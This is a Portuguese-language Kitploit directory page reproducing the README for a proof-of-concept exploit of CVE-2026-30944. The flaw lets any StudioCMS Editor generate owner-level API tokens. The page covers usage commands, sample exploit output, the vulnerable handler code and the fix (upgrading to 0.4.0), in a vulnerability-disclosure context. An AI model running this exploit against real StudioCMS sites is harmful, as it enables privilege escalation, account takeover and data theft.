Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-30944-PoC — Prova de conceito em Python para o CVE-2026-30944, explorando uma vulnerabilidade BOLA no StudioCMS para escalar privilégios por meio da geração insegura de tokens de API. | Kitploit
Ferramentas/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsSegurança WebTestes de Penetração
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
filipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

Prova de conceito em Python para o CVE-2026-30944, explorando uma vulnerabilidade BOLA no StudioCMS para escalar privilégios por meio da geração insegura de tokens de API.

Ver Repositório
27há 6 mesesAinda não revisado

🔓 CVE-2026-30944

Escalação de Privilégios no StudioCMS via Geração Insegura de Tokens de API

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Visão Geral

O endpoint POST /studiocms_api/dashboard/api-tokens no StudioCMS ≤ 0.3.0 permite que qualquer usuário autenticado (no mínimo com papel Editor) gere tokens de API para qualquer outro usuário, incluindo contas owner e admin.

O endpoint aceita um parâmetro user no corpo da requisição especificando o UUID do usuário alvo, mas nunca valida se o usuário solicitante está autorizado a criar tokens em nome desse alvo. Esta é uma vulnerabilidade clássica de Broken Object Level Authorization (BOLA) que resulta em escalação total de privilégios.

Fluxo do Ataque

┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Atacante   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Servidor    │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Dados completos do usuário como Owner] │
       │                                           │

Detalhes da Vulnerabilidade

CampoValor
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: Bypass de Autorização Através de Chave Controlada pelo Usuário
CWE (secundário)CWE-863: Autorização Incorreta
MITRE ATT&CKT1134 — Manipulação de Tokens de Acesso
OWASP APIAPI1:2023 — Broken Object Level Authorization
Afetadostudiocms ≤ 0.3.0
Corrigido emstudiocms 0.4.0

Conteúdo

ArquivoDescrição
cve_2026_30944_poc.pyScript de exploração em Python com modos manual e automatizado
README.mdEste arquivo
LICENSELicença MIT

Pré-requisitos

  • StudioCMS ≤ 0.3.0 (versão vulnerável)
  • Python 3.8+
  • Credenciais válidas para pelo menos uma conta Editor
pip install requests colorama

Início Rápido

Exploração Manual

# Gera um token de API para o owner usando uma conta de editor
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Salva os resultados em JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Teste Automatizado

# Testa com múltiplos papéis para confirmar a vulnerabilidade
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Argumentos

Obrigatórios

ArgumentoDescrição
-u, --urlURL base do StudioCMS alvo
--uuidUUID do usuário alvo (ex.: conta do owner)

Modo Manual

ArgumentoDescrição
--usernameNome de usuário para autenticação
--passwordSenha para autenticação

Modo de Teste Automatizado

ArgumentoDescrição
--auto-testHabilita teste automatizado com múltiplos papéis
--editor-userNome de usuário da conta de editor
--editor-passSenha da conta de editor
--visitor-userNome de usuário da conta de visitante
--visitor-passSenha da conta de visitante

Opcionais

ArgumentoDescrição
--saveSalva os resultados em arquivo JSON
--no-ssl-verifyDesabilita a verificação de certificado SSL

Exemplo de Saída

Sistema Vulnerável

  ──────────────────────────────────────────────────────────
  FASE 1: Autenticação
  ──────────────────────────────────────────────────────────
  [+] Autenticado como 'editor01'
  [*] Usuário da sessão: editor01 (editor)
  [*] UUID da sessão: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 2: Escalação de Privilégios
  ──────────────────────────────────────────────────────────
  [*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Gerando token de API para o usuário alvo...
  [+] Token de API gerado com sucesso!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  FASE 3: Verificação
  ──────────────────────────────────────────────────────────
  [*] Verificando acesso do token na API REST...
  [+] VULNERABILIDADE CONFIRMADA — Acesso total à API obtido!
  [*] Recuperados 9 registros de usuários

Sistema Corrigido

  ──────────────────────────────────────────────────────────
  FASE 2: Escalação de Privilégios
  ──────────────────────────────────────────────────────────
  [*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Gerando token de API para o usuário alvo...
  [*] Acesso negado (403 Forbidden) — endpoint pode estar corrigido
  [-] Exploração falhou — token não gerado

Causa Raiz

O manipulador vulnerável em packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (linhas 16–57) aceita um parâmetro user do corpo JSON e o passa diretamente para a função de geração de token sem verificações de autorização:

// [1] Apenas verifica se o chamador é editor — não PARA QUEM está criando o token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' do corpo da requisição — sem validação contra a sessão autenticada
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Passado diretamente para a geração do token — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

O modelo de autorização apenas verifica "o chamador é pelo menos um editor?" em vez de "o chamador está autorizado a criar um token para este usuário específico?"


Impacto

  • Escalação de Privilégios — Qualquer editor pode escalar para acesso de API de nível owner
  • Acesso Total à API — O token gerado concede acesso irrestrito a todos os endpoints REST
  • Assunção de Conta — O atacante pode se passar por qualquer usuário especificando seu UUID
  • Vazamento de Dados — Acesso a listagens de usuários, conteúdo e configuração do sistema

Mitigação

Atualize o StudioCMS para a versão 0.4.0 ou posterior:

npm install studiocms@latest

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados.

Baixar ferramenta